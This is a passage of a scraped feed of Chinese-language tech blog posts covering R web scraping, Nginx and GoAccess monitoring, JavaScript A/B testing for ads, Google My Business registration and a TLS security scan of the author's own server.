[[4]] named character(0) [[5]] named character(0) [[6]] style \"white-space:nowrap;\" html_attr 則是可以列出每個 HTML 元素的特定屬性：\nel.attr \u0026lt;- html_attr(version.block, \u0026#34;style\u0026#34;) head(el.attr) [1] NA NA NA [4] NA NA \"white-space:nowrap;\" 實際範例 Yahoo 首頁 以下是從 Yahoo 首頁擷取熱門關鍵字以及頭條新聞標題的範例：\nlibrary(rvest) # 下載 Yahoo 首頁 page.source \u0026lt;- read_html(\u0026#34;https://tw.yahoo.com/\u0026#34;) # 篩選出熱門關鍵字 hot.keywords \u0026lt;- html_nodes(page.source, \u0026#34;.keywords .Whs-nw\u0026#34;) html_text(hot.keywords) # 篩選出頭條新聞標題 news.title \u0026lt;- html_nodes(page.source, \u0026#34;.Va-tt\u0026#34;) html_text(news.title) StackOverflow 以下是從 StackOverflow 首頁擷取問題標題與瀏覽量的範例：\nlibrary(rvest) # 下載 StackOverflow 首頁資料 page.source \u0026lt;- read_html(\u0026#34;https://stackoverflow.com/\u0026#34;) # 篩選出問題的標題與瀏覽量 q.summary \u0026lt;- html_nodes(page.source, \u0026#34;.question-summary\u0026#34;) for ( s in q.summary ) { q.link \u0026lt;- html_nodes(s, \u0026#34;.question-hyperlink\u0026#34;) cat(\u0026#34;Title:\u0026#34;, html_text(q.link), \u0026#34;n\u0026#34;) q.views \u0026lt;- html_nodes(s, \u0026#34;.views .mini-counts\u0026#34;) cat(\u0026#34;Views:\u0026#34;, html_text(q.views), \u0026#34;n\u0026#34;) } 參考資料 RStudio Blog ","permalink":"https://blog.gtwang.org/r/rvest-web-scraping-with-r/","summary":"\u003cp\u003e這裡介紹如何運用 R 的 \u003ccode\u003ervest\u003c/code\u003e 套件來擷取任何的網頁資料，直接將資料從網頁中萃取出來，匯入 R 中進行後續的處理。\u003c/p\u003e\n\u003cp\u003e在巨量資料（big data）與物聯網（IOT）的時代，有相當多的資料都是透過網路來取得的，由於資料量日益增加，對於資料分析者而言，如何使用程式將網頁中大量的資料自動匯入是很重要的。\u003c/p\u003e","title":"使用 R 與 rvest 套件擷取網頁資料"},{"content":"本篇是 PIXEL TC-252 快門線的簡單開箱文。\n最近想要來拍攝夜景，添購了一條 PIXEL TC-252 快門線，支援單拍、連拍、B 快門、延遲拍攝等動作。\n這是 PIXEL TC-252 快門線的外盒。\n這是所有的內容物，包含一個快門線控制器、一條連接線、電池與說明書。\n這是快門線控制器的背面。\n它的連接線有好多種，購買的時候要選擇適用於自己相機型號的連接線。這是 S2 連接線，適用於 Sony 的相機。\n這個快門線控制器是使用兩顆四號電池。\n裝入電池後，就可以用連接線接上相機使用了。\n如果您有好幾台不同牌子的相機都需要使用的話，可以另外添購連接線，只要更換連接線就可以讓不同的相機使用。這一條是我另外買的 CL-UC1 連接線，適用於 Olympus 的相機。\n這個快門線可以選擇的相機的連接線有很多種，購買之前一定要注意看清楚，有時候同一個牌子的相機，不同的機型也有不同的連接線。\n","permalink":"https://blog.gtwang.org/unboxing/pixel-tc-252-timer-remote-control/","summary":"\u003cp\u003e本篇是 PIXEL TC-252 快門線的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近想要來拍攝夜景，添購了一條 PIXEL TC-252 快門線，支援單拍、連拍、B 快門、延遲拍攝等動作。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是 PIXEL TC-252 快門線的外盒。\u003c/p\u003e","title":"[開箱] 品色 PIXEL TC-252 液晶有線定時快門遙控器"},{"content":"最進發現有時候在 Mac OS X 中用 Finder 刪除檔案時，會出現錯誤碼 43 的訊息，沒辦法把檔案刪除，這裡告訴您如何處理。\n如果您是 Mac OS X 的使用者，應該有遇過在刪除檔案時，出現這樣的錯誤訊息：「無法完成此項操作，因為找不到一個或多個所需的項目」。\n我從網路上看到許多關於這個問題的討論，令人驚訝的是這個是 Mac OS X 長久以來的 bug，似乎從 2009 年以前就已經出現了，不過一直到 2016 年都還沒解決，目前若發生這樣的問題，只能登出再重新登入，若是改用終端機（terminal）來刪除 Mac OS X 的檔案。\n使用終端機刪除檔案 當 Mac OS X 無法刪除檔案時，請開啟終端機，切換至檔案所在的目錄：\ncd Desktop 然後使用 rm -i 指令來刪除指定的檔案：\nrm -i file_to_delete.txt 其中 file_to_delete.txt 就換成要刪除的檔案名稱，由於我們有加入 -i 的參數，所以在刪除之前都會有一個確認動作，若確認檔案無誤，輸入 y 即可刪除該檔案，這樣可以避免意外刪錯檔案。\n如果要一次刪除多個檔案，也可以使用萬用字元（*）的方式：\nrm -i file_to_delete* 這樣就會刪除所有檔名為 file_to_delete 字樣開頭的檔案，而每個檔案在刪除之前，也都會一一詢問，所以只要小心操作，就不用擔心出錯。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-error-code-43/","summary":"\u003cp\u003e最進發現有時候在 Mac OS X 中用 Finder 刪除檔案時，會出現錯誤碼 43 的訊息，沒辦法把檔案刪除，這裡告訴您如何處理。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e如果您是 Mac OS X 的使用者，應該有遇過在刪除檔案時，出現這樣的錯誤訊息：「無法完成此項操作，因為找不到一個或多個所需的項目」。\u003c/p\u003e","title":"Mac OS X 刪除檔案出現錯誤碼 43 的問題，改用終端機處理"},{"content":"「Google 我的商家」是 Google 的一項免費服務，只要經過申請與認證之後，就可以讓自己的店家資訊出現在 Google 地圖與搜尋等各項 Google 服務中，提升網路曝光率，吸引更多的顧客上門。\n在這個網路的時代裡，幾乎人人都會上網，傳統上經營實體店面的商家現在也都紛紛朝向網路虛擬店面拓展，上網宣傳自家業務，吸引消費者的目光，而 Google 是全世界最大的搜尋引擎，Google 地圖也是幾乎人人都會使用的服務，若能讓自己店家資訊能夠在 Google 的各種服務上曝光，對於店家的生意會有很大的幫助。\n在以前我們可以使用 Google Map Maker 來把自己的資訊放在 Google 地圖上，而現在新的「Google 我的商家」可以讓店家除了把自己的資訊登錄在地圖上之外，還同時整合了 Google 搜尋、Google+ 社群網路，只要申請一次，就可以在各種 Google 的服務上曝光，非常好用。\n以下是把自己的店家資訊登入「Google 我的商家」的步驟教學。\nStep 1\n在實際開始登錄之前，要先準備好自己店家的資訊，並且確認資訊的正確性，因為在登入這些資訊之後，就會馬上在網路上曝光，如果資訊不完整或是不正確，對於店家的形象是會有影響的，所以請將所有需要的資訊都準備齊全，再開始登錄。\nStep 2\n開啟 Google 我的商家網頁，點選「在 Google 上宣傳」按鈕。\nStep 3\n選擇商家類型，對於一般實體店面的商店，請選擇「店面」。\nStep 4\n搜尋店面的位置，輸入自己實體店面的地址，如果顯示找不到這個地址，就表示自己的商家資訊並沒有被收錄在 Google 上面，這時候請點選「我已輸入正確的名稱及地址」來新增自己的店面。\n搜尋的時候，也可以使用商店的名稱來搜尋，如果您發現搜尋出來有一些結果，但是都沒有符合自己店面的資訊，就可以點選下方的「這不是我的商家、加入您的店家」來加入自己的店面資訊。\nStep 5\n輸入自己店面的詳細資料，包含商店名稱、地址、電話等，這裡輸入的資訊很重要，未來這些就是會放在網路上的公開資訊，有正確的聯絡資訊，顧客才能找得到自己的店面，不可以填錯。\nStep 6\n有時候 Google 會發現跟自己店面類似的商店，如果這個不是您的店面，就直接點選「這個選項不相符、保留我輸入的資訊」跳過。\nStep 7\n接著要進行驗證，首先當然要確認這個商店是您自己的，或是該商店有授權給您管理。請勾選「我已獲得授權負責管理這個商家」，然後點選「繼續」。\nStep 8\n選擇驗證方式，目前似乎只有透過郵寄的方式驗證，選擇這個方式的話，Google 會直接寄一封驗證的實體信到自己店家的地址。確認地址正確之後，請點選「郵寄驗證」。\nStep 9\n這封會直接寄到自己的商店，如果想要指定收件人，可以在填在下方「備用連絡人姓名」欄位，填完之後，按下「寄出明信片」。\nStep 10\n在 Google 寄出明信片之後，要在 30 天之內進行驗證，這段時間請留意自己店家的信箱。\n接下來就要設定 Google 我的商家的詳細資料了，請點選「繼續」。\nStep 11\n開啟 Google 我的商家頁面，在這裡會有非常多的資料需要設定，包含店面的照片、營業時間、網址等。\n建議盡量將資料填寫完整，方便顧客查詢。\n填寫完成後，接下來就是等待 Google 把明信片寄來了，如果不幸過了一個月都沒有收到驗證信的話，可以再從 Google 我的商家的網頁上再點選一次發送驗證信的要求，讓 Google 再寄一次驗證信。\n收到明信片之後，就可以進行最後的驗證步驟。\nStep 12\n這是 Google 寄來的驗證信，正常的話應該一週左右就可以收到。\n這是 Google 我的商家驗證信的背面。\nStep 13\n打開 Google 我的商家驗證信，裡面會有一組驗證碼，還有驗證步驟。\nStep 14\n開啟 Google 我的商家驗證網址，用自己的 Google 帳號登入之後，輸入驗證信中的五位數驗證碼。\n輸入驗證碼後，按下「提交」。\nStep 15\n這樣就完成 Google 我的商家的驗證了。\nStep 16\n這時候再打開自己店家的 Google 我的商家管理頁面，就可以看到一個綠色的「已驗證」標章，這樣整個 Google 我的商家的申請流程就完成了。\nStep 17\n只要把自己的店家資訊登錄至 Google 我的商家之後，就可以直接在 Google 地圖上顯示很詳細的店家資訊，包含電話、地址、營業時間等。\n另外所有在 Google 我的商家上面放的照片也可以在 Google 地圖上看到，這對於店家的宣傳會有幫助。\n參考資料 Google 商家資訊說明 ","permalink":"https://blog.gtwang.org/tips/how-to-add-local-business-to-google-maps/","summary":"\u003cp\u003e「\u003ca href=\"https://business.google.com/tw/business-profile/\"\u003eGoogle 我的商家\u003c/a\u003e」是 Google 的一項免費服務，只要經過申請與認證之後，就可以讓自己的店家資訊出現在 Google 地圖與搜尋等各項 Google 服務中，提升網路曝光率，吸引更多的顧客上門。\u003c/p\u003e","title":"Google 我的商家申請登錄教學，在地圖上顯示店家資訊"},{"content":"這是我們家阿玄的塗鴉畫，我把它掃描起來，紀錄一下。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-20160602/","summary":"\u003cp\u003e這是我們家阿玄的塗鴉畫，我把它掃描起來，紀錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160602/qixuan-drawing-20160602-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160602/qixuan-drawing-20160602-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160602/qixuan-drawing-20160602-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160602/qixuan-drawing-20160602-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160602/qixuan-drawing-20160602-5.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160602/qixuan-drawing-20160602-6.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160602/qixuan-drawing-20160602-7.jpg\"\u003e\u003c/p\u003e","title":"[個人] 阿玄的塗鴉畫 2016/06/02"},{"content":"這裡介紹如何使用一般的 JavaScript 程式與 cookies 進行 A/B 測試，改善網站的 Google AdSense 與 DFP 廣告收益。\nA/B 測試是一般網站很常使用的最佳化方式，其原理是將訪客分為兩群，然後分別給予不同的網頁內容，比較兩者之間的差異，最後選擇表現比較好的那一種，重複透過這樣的流程，不斷改善網站的轉換效率（例如廣告收益等）。\n我們之前有介紹過使用 Google Analytics 的內容實驗來進行 A/B 測試，但是 Google DFP 的資料並沒有整合進 Analytics，如果您的網站有使用 Google DFP 放置廣告，就無法使用 Analytics 的方式來分析。\n以下我們直接使用 JavaScript 與 cookie，透過設定 AdSense 的自訂管道與 DFP 的鍵值的方式，在 AdSense 與 DFP 的報表中直接查看 A/B 測試的效果，這樣的作法比較簡單，不需要依賴 Analytics 的功能，以下是簡略的步驟教學。\nStep 1\n在 Google AdSense 中預先設定好兩個（或更多個）自訂管道，分別對應到不同的組別，同時將各個管道的「編號」記下來，後續在撰寫 JavaScript 程式時會需要用到。\n這裡我一次新增三個自訂管道，第三個暫時不會用到，是留作以後備用。\nStep 2\n在 Google DFP 的「鍵值」中同樣也新增一個 A/B 測試的項目，這裡我的鍵值名稱取為 ab_testing，而指定值為 a、b 與 c 三個。\nStep 3\n在要進行 A/B 測試的網頁中，引入 js-cookie 這個管理 cookies 的 JavaScript 函式庫。\n\u0026lt;script src=\u0026#34;/path/to/js.cookie.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Step 4\n撰寫主要的 A/B 測試控制 JavaScript 程式碼，程式碼的內容會因為網站不同而有些差異，以下是一個參考範例。\n\u0026lt;script type=\u0026#39;text/javascript\u0026#39;\u0026gt; function initABTesting() { var ab = {}; // 從 cookie 讀取分組設定 ab.channel = Cookies.get(\u0026#39;abtesting.channel\u0026#39;, { domain: \u0026#39;blog.gtwang.org\u0026#39; }); // 若沒有既有設定，則隨機產生新的設定 if (typeof ab.channel === \u0026#34;undefined\u0026#34;) { var random_number = Math.random(); // 將訪客平均分為 a 與 b 兩組 if (random_number \u0026lt; .5){ ab.channel = \u0026#39;a\u0026#39;; } else { ab.channel = \u0026#39;b\u0026#39;; } // 將分組設定儲存在 cookie 中 Cookies.set(\u0026#39;abtesting.channel\u0026#39;, ab.channel, { domain: \u0026#39;blog.gtwang.org\u0026#39;, expires: 7 }); } // 依照分組設定，進行後續的調整動作 switch(ab.channel) { case \u0026#39;a\u0026#39;: // a 組設定 ab.adsenseChannel = \u0026#39;3586196931\u0026#39;; break; case \u0026#39;b\u0026#39;: // b 組設定 ab.adsenseChannel = \u0026#39;5062930138\u0026#39;; // 更改網頁的顏色等設定 jQuery(\u0026#34;\u0026lt;style\u0026gt;.post-content a {color:#111;text-decoration:underline;}\u0026lt;/style\u0026gt;\u0026#34;).appendTo(\u0026#34;head\u0026#34;); break; } return ab; } // 初始化 A/B 測試變數 var ABTesting = initABTesting(); \u0026lt;/script\u0026gt; 這裡定義一個 initABTesting 函數，其作用是設定各種 A/B 測試會用到相關變數，並設定網頁變動部份的內容，而其傳回的 ABTesting 物件包含兩個屬性：\nchannel：選擇的組別，值為 a 或 b。 adsenseChannel：組別對應的 AdSense 管道編號，例如 '3586196931'。 我們將這個物件儲存為全域變數，讓網頁中所有 AdSense 與 DFP 的廣告程式載入時，可以取用這些值。\nStep 5\n依據組別設定 AdSense 的管道，也就是將剛剛建立好的 ABTesting.adsenseChannel 傳遞給 AdSense 動態指定管道。\n(adsbygoogle = window.adsbygoogle || []).push({ params: { google_ad_channel: ABTesting.adsenseChannel } }); 這個參數可以加在所有 AdSense 載入的 JavaScript 程式碼上面，關於 AdSense 的語法說明可以參考更改 AdSense 廣告程式碼。\nStep 6\n依據組別設定 DFP 的鍵值，也就是把上面建立好的 ABTesting.channel 指定給 DFP 中建立好的 ab_testing 鍵。\ngoogletag.pubads().setTargeting(\u0026#39;ab_testing\u0026#39;, ABTesting.channel); 這個 DFP 的鍵值設定建議可以直接在網頁層級設定，直接套用至網頁中的每一個 DFP 廣告。\n關於 DFP 的鍵值說明可以參考關於指定鍵/值、透過 GPT 設定指定目標及大小與 Google 發佈商廣告代碼範例，另外 DFP 的 JavaScript API 用法可以參考 GPT Reference。\nStep 7\n設定完成後，開啟瀏覽器的 Console，檢查看看有沒有任何錯誤，並且用無痕瀏覽模式重複開啟網頁，確認 ABTesting 物件的內容，看看是不是會自動隨機分組。\n正常來說，在第一次確定組別之後，程式就會將這個組別儲存於 cookie 中，隨後的任何瀏覽都會依循這個組別資訊，不會重新產生（這跟 A/B 測試的理論有關），而這裡我是設定將 cookie 的資訊保留 7 天，所以若要測試分組的話，記得要使用瀏覽器的無痕瀏覽模式，否則就要手動清除 cookies。\nStep 8\n等待一段時間之後，就可以從 Google AdSense 與 DFP 的報表上看到 A/B 測試的結果了。\n如果要進行 A/B 測試的統計顯著性檢定，可以使用 A/B Split Test Significance Calculator 來計算。\n","permalink":"https://blog.gtwang.org/web-development/simple-ab-testing-using-javascript-and-cookies/","summary":"\u003cp\u003e這裡介紹如何使用一般的 JavaScript 程式與 cookies 進行 A/B 測試，改善網站的 Google AdSense 與 DFP 廣告收益。\u003c/p\u003e\n\u003cp\u003eA/B 測試是一般網站很常使用的最佳化方式，其原理是將訪客分為兩群，然後分別給予不同的網頁內容，比較兩者之間的差異，最後選擇表現比較好的那一種，重複透過這樣的流程，不斷改善網站的轉換效率（例如廣告收益等）。\u003c/p\u003e","title":"使用簡單的 JavaScript 與 Cookies 進行 A/B 測試，改善網站廣告收益"},{"content":"這裡介紹如何使用 GoAccess 來即時分析 Nginx 的 log 記錄檔，產生各種網頁伺服器的統計資訊報表，讓管理者輕鬆掌握系統狀況。\nGoAccess 是一個開放原始碼的網頁伺服器記錄檔分析工具，可以產生網頁版或文字版的動態統計報表，讓系統管理者可以查看即時的系統狀態，其涵蓋的資訊非常詳細，而且產生報表的方式相當簡潔，只要一行指令就可以馬上產生報表，對於 Linux 系統與指令比較熟悉的人而言，是一個非常方便的工具。\n安裝 GoAccess 我這裡以 Ubuntu Linux 的環境來示範如何安裝 GoAccess。最簡單的安裝方式就是直接使用 apt 從 Ubuntu Linux 官方的套件庫安裝：\nsudo apt-get install goaccess 不過通常官方所收錄的套件都不是最新的，若要安裝最新版的 GoAccess，可以從 GoAccess 的 Debian/Ubuntu 套件庫來下載安裝，首先設定 GoAccess 官方的套件庫：\necho \u0026#34;deb http://deb.goaccess.io/ $(lsb_release -cs) main\u0026#34; | sudo tee -a /etc/apt/sources.list.d/goaccess.list wget -O - http://deb.goaccess.io/gnugpg.key | sudo apt-key add - 更新套件列表，並安裝最新的 GoAccess 套件：\nsudo apt-get update sudo apt-get install goaccess 如果您會需要訪客來源國家的資訊，就要再安裝 GeoIP 資料庫：\nsudo apt-get install geoip-database 這樣 GoAccess 就安裝完成了。\nGoAccess 對於其他的 Linux 與 Mac OS X 等系統的支援性也相當高，關於各種其他系統的安裝方式，請參考 GoAccess 的安裝說明。\n使用 GoAccess 分析 Nginx 記錄檔 因為不同的網頁伺服器會有不同的記錄檔格式，在使用 GoAccess 之前，我們要將 GoAccess 的解析設定調整成適合自己伺服器的格式。\n設定 GoAccess 分析 Nginx 記錄檔 開啟 /etc/goaccess.conf 這個 GoAccess 的設定檔，根據自己的網頁伺服器設定檔格式進行調整，如果您是使用 Apache 或 Nginx 預設的設定（也就是沒有特別去改記錄檔的格式的話），只要把 GoAccess 設定檔中對應的設定註解拿掉即可，這裡我以 Nginx 預設的記錄檔格式設定來示範。\n首先調整時間格式：\n# The following time format works with any of the # Apache/NGINX\u0026#39;s log formats below. time-format %H:%M:%S 接著是日期格式：\n# The following date format works with any of the # Apache/NGINX\u0026#39;s log formats below. date-format %d/%b/%Y 記錄內容的格式：\n# NCSA Combined Log Format log-format %h %^[%d:%t %^] \u0026#34;%r\u0026#34; %s %b \u0026#34;%R\u0026#34; \u0026#34;%u\u0026#34; 設定好記錄檔的格式之後，就可以開始使用 GoAccess 分析資料了。\nGoAccess 文字報表 GoAccess 最直接的方式就是使用 -f 參數指定要分析的記錄檔：\ngoaccess -f /var/log/nginx/access.log 執行之後，GoAccess 會立即分析指定的記錄檔，隨即產生這樣的文字報表。\n這個報表的內容很詳細，包含訪客人數、請求網址、靜態檔案、404 錯誤網址、來源 IP 位址、訪客作業系統與瀏覽器版本、瀏覽時間、引介網站（referring sites）、訪客來源國家等各種統計資料，使用者可以用上下鍵捲動來查看。\n另外它的內容是會動態更新的（類似 top 指令的畫面），所以管理者可以使用 SSH 這類的連線方式連上主機之後，執行這樣的指令後放著監看即時的系統狀態，而不要看的時候就直接關閉，完全不需要為了監控伺服器而啟動任何背景的系統服務，不會造成系統不必要的負擔。\n如果要看比較長期性的統計數據，可以將 /var/log/nginx/ 下面的 access.log.* 檔整理出來，一次全部丟給 GoAccess 來分析：\ncat access.log.* | goaccess 這樣就可以產生好幾天以上的統計資料。\n也可以配合 zcat 一次將所有的記錄檔全部交給 GoAccess 分析：\nzcat -f /var/log/nginx/access.log* | goaccess GoAccess 網頁報表 如果您感覺文字模式的報表不好看，GoAccess 也可以產生漂亮的網頁報表，只要把 goaccess 指令的輸出導向檔案，就會輸出 html 的報表：\ncat access.log.* | goaccess \u0026gt; output.html GoAccess 進階使用方式 GoAccess 還有提供很多功能參數可以使用，以下是一些常用參數的使用教學與範例指令。\n排除 IP 位址 若要排除某些 IP 位址（例如將自己電腦的 IP 位址排除），可以使用 -e 參數指定要排除的 IP 位址範圍：\ngoaccess -f /var/log/nginx/access.log -e 192.168.0.1-192.168.0.10 這樣就會將 192.168.0.1-192.168.0.10 這 10 個 IP 位址的記錄排除。\n更改配色 GoAccess 文字版的報表可以用 --color-scheme 參數選擇配色，預設是灰色（1），可以改成綠色（2）：\ngoaccess -f /var/log/nginx/access.log --color-scheme=2 入要關閉所有的顏色顯示功能，可以加上 --no-color 參數：\ngoaccess -f /var/log/nginx/access.log --no-color 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/analysing-nginx-logs-using-goaccess/","summary":"\u003cp\u003e這裡介紹如何使用 GoAccess 來即時分析 Nginx 的 log 記錄檔，產生各種網頁伺服器的統計資訊報表，讓管理者輕鬆掌握系統狀況。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://goaccess.io/\"\u003eGoAccess\u003c/a\u003e 是一個開放原始碼的網頁伺服器記錄檔分析工具，可以產生網頁版或文字版的動態統計報表，讓系統管理者可以查看即時的系統狀態，其涵蓋的資訊非常詳細，而且產生報表的方式相當簡潔，只要一行指令就可以馬上產生報表，對於 Linux 系統與指令比較熟悉的人而言，是一個非常方便的工具。\u003c/p\u003e","title":"使用 GoAccess 分析 Nginx 網頁記錄檔，即時監控伺服器狀態"},{"content":"這裡說明如何啟用 Nginx 內建的 stub_status 模組，在網頁上顯示伺服器即時的負載狀況，方便管理者即時監控。\nNginx 網頁伺服器本身就有內建一個簡單的即時狀態顯示模組，只要開啟 stub_status 這個模組，就可以看到基本的伺服器狀態統計，其提供的資訊包含了：目前連線數量統計、連線與請求數量統計，以及目前請求數量統計。\n以下是啟用 stub_status 模組的步驟。\nStep 1\n雖然 stub_status 是 Nginx 內建的模組，但是 Nginx 在編譯時並不會自動把它納入，所以在使用前要先檢查自己的 Nginx 編譯版本是否有納入這個功能：\nnginx -V 2\u0026gt;\u0026amp;1 | grep -o with-http_stub_status_module with-http_stub_status_module 若輸出有看到 with-http_stub_status_module 就表示沒問題。若是沒有的話，您可能就要重新安裝有支援 stub_status 的版本，或是自己重新編譯，然後在編譯時加入 --with-http_stub_status_module 選項。\nStep 2\n在 Nginx 網站的設定檔中，加入一段 location 的設定：\nserver { # ... location /nginx_status { # 啟用 stub_status 模組 stub_status on; # 關閉紀錄功能 access_log off; # 限制可存取的 IP 位址 allow 127.0.0.1; deny all; } } 除了使用 IP 位址的方式來限制存取之外，也可以使用帳號與密碼的方式：\nserver { # ... location /nginx_status { # 啟用 stub_status 模組 stub_status on; # 關閉紀錄功能 access_log off; # 設定帳號與密碼 auth_basic \u0026#34;closed site\u0026#34;; auth_basic_user_file /path/to/htpasswd; } } 關於 Nginx 帳號與密碼的設定方式，請參考 NGINX 設定密碼認證與限制可存取的 IP 位址。\nStep 3\n設定好之後，檢查 Nginx 的設定檔是否正確：\nservice nginx configtest * Testing nginx configuration [ OK ] 確認無誤後，重新載入新的 Nginx 設定：\nservice nginx reload Step 4\n打開剛剛設定的網址，就可以看到即時的 Nginx 伺服器狀態了。\nActive connections: 72 server accepts handled requests 606761 606761 3034070 Reading: 0 Writing: 2 Waiting: 69 以下是各個數值的含意：\nActive connections：目前連線數，這個值包含 Waiting 的數量。 server accepts handled requests：第一個值是伺服器接受的連線數，第二個值是伺服器已經處理的連線數，第三個值則是伺服器已經處理的請求數。若將第三個數值除以第二個數值，就會得到平均每個連線的請求數（3034070 / 606761 = 5.0）。 Reading：目前正在讀取請求表頭的請求數。 Writing：目前正在讀取請求主體、處理與回應的請求數。 Waiting：keep-alive 的連線數，這個值會跟 keepalive_timeout 的設定值有關，這個數值通常不太會影響伺服器效能，可以不用太在意。 參考資料 DATADOG EasyEngine Tecmint ","permalink":"https://blog.gtwang.org/linux/nginx-enable-stub_status-module-to-collect-metrics/","summary":"\u003cp\u003e這裡說明如何啟用 Nginx 內建的 \u003ccode\u003estub_status\u003c/code\u003e 模組，在網頁上顯示伺服器即時的負載狀況，方便管理者即時監控。\u003c/p\u003e\n\u003cp\u003eNginx 網頁伺服器本身就有內建一個簡單的即時狀態顯示模組，只要開啟 \u003ca href=\"https://nginx.org/en/docs/http/ngx_http_stub_status_module.html\"\u003e\u003ccode\u003estub_status\u003c/code\u003e\u003c/a\u003e 這個模組，就可以看到基本的伺服器狀態統計，其提供的資訊包含了：目前連線數量統計、連線與請求數量統計，以及目前請求數量統計。\u003c/p\u003e","title":"即時監控 Nginx 網頁伺服器狀態，啟用 stub_status 模組"},{"content":"testssl.sh 是一個用來檢查伺服器 TLS/SSL 安全性的工具，適用於各種有使用加密的網路服務，例如網頁、郵件或 FTP 伺服器等都可以用它來檢測。\n伺服器的各種服務加上了 TLS/SSL 之後，可以讓資料以加密的形式在網路上傳輸，確保資料不會被駭客輕易地竊取，不過伺服器的安全性問題並沒有那麼單純，雖然安裝了 TLS/SSL 可以讓伺服器有基本的保護，但後續的設定與維護也非常重要，不當的設定也可能讓伺服器暴露出許多漏洞讓駭客有機可乘。\ntestssl.sh 是一個開放原始碼的 TLS/SSL 加密安全性檢測工具，可以在 Linux、Mac OS X、FreeBSD 或 MSYS2/Cygwin 等環境中使用，伺服器上各種有使用 TLS/SSL 加密的網路服務（例如網頁、郵件或 FTP 等）都可以用 testssl.sh 來檢測。\nStep 1\n下載 testssl.sh 指令稿，可以使用 wget 下載：\nwget -O testssl.sh testssl.sh 或是用 curl 下載：\ncurl -L testssl.sh -o testssl.sh 設定 testssl.sh 指令稿的執行權限：\nchmod +x testssl.sh Step 2\n使用測試 testssl.sh 測試指定的網站：\n./testssl.sh blog.gtwang.org testssl.sh 在執行之後，就會進行各種網站的 TLS/SSL 安全性檢測，而其輸出的報表也非常清楚，沒問題的項目都會以綠色的文字表示。\ntestssl.sh 也會進行各種已知的安全性漏洞檢查，若發現有可能被入侵的弱點時，就會以紅色的文字標示，若您在測試伺服器時出現這樣的紅色訊息，就可以從該弱點的名稱與代號來查詢該如何修正它。\n以下是完整的報表內容，給大家參考。\nNo mapping file found ########################################################### testssl.sh 2.6 from https://testssl.sh/ (1.379c 2015/09/29 16:47:47) This program is free software. Distribution and modification under GPLv2 permitted. USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK! Please file bugs @ https://testssl.sh/bugs/ ########################################################### Using \"OpenSSL 1.0.1f 6 Jan 2014\" [~115 ciphers] on linode01:/usr/bin/openssl (built: \"May 2 16:53:18 2016\", platform: \"debian-amd64\") Testing now (2016-05-18 07:22) ---\u0026gt; 45.118.135.69:443 (blog.gtwang.org) \u0026lt;--- further IP addresses: 2400:8901::f03c:91ff:fe67:98b rDNS (45.118.135.69): li1442-69.members.linode.com. (A record via /etc/hosts) Service detected: HTTP --\u0026gt; Testing protocols (via sockets except TLS 1.2 and SPDY/NPN) SSLv2 not offered (OK) SSLv3 not offered (OK) TLS 1 offered TLS 1.1 offered TLS 1.2 offered (OK) SPDY/NPN h2, http/1.1 (advertised) --\u0026gt; Testing ~standard cipher lists Null Ciphers not offered (OK) Anonymous NULL Ciphers not offered (OK) Anonymous DH Ciphers not offered (OK) 40 Bit encryption not offered (OK) 56 Bit encryption Local problem: No 56 Bit encryption configured in /usr/bin/openssl Export Ciphers (general) not offered (OK) Low (\u0026lt;=64 Bit) not offered (OK) DES Ciphers not offered (OK) Medium grade encryption not offered (OK) Triple DES Ciphers offered (NOT ok) High grade encryption offered (OK) --\u0026gt; Testing (perfect) forward secrecy, (P)FS -- omitting 3DES, RC4 and Null Encryption here PFS is offered (OK) ECDHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-SHA256 DHE-RSA-AES256-SHA ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA ECDHE-RSA-AES128-GCM-SHA256 ECDHE-RSA-AES128-SHA256 DHE-RSA-AES128-GCM-SHA256 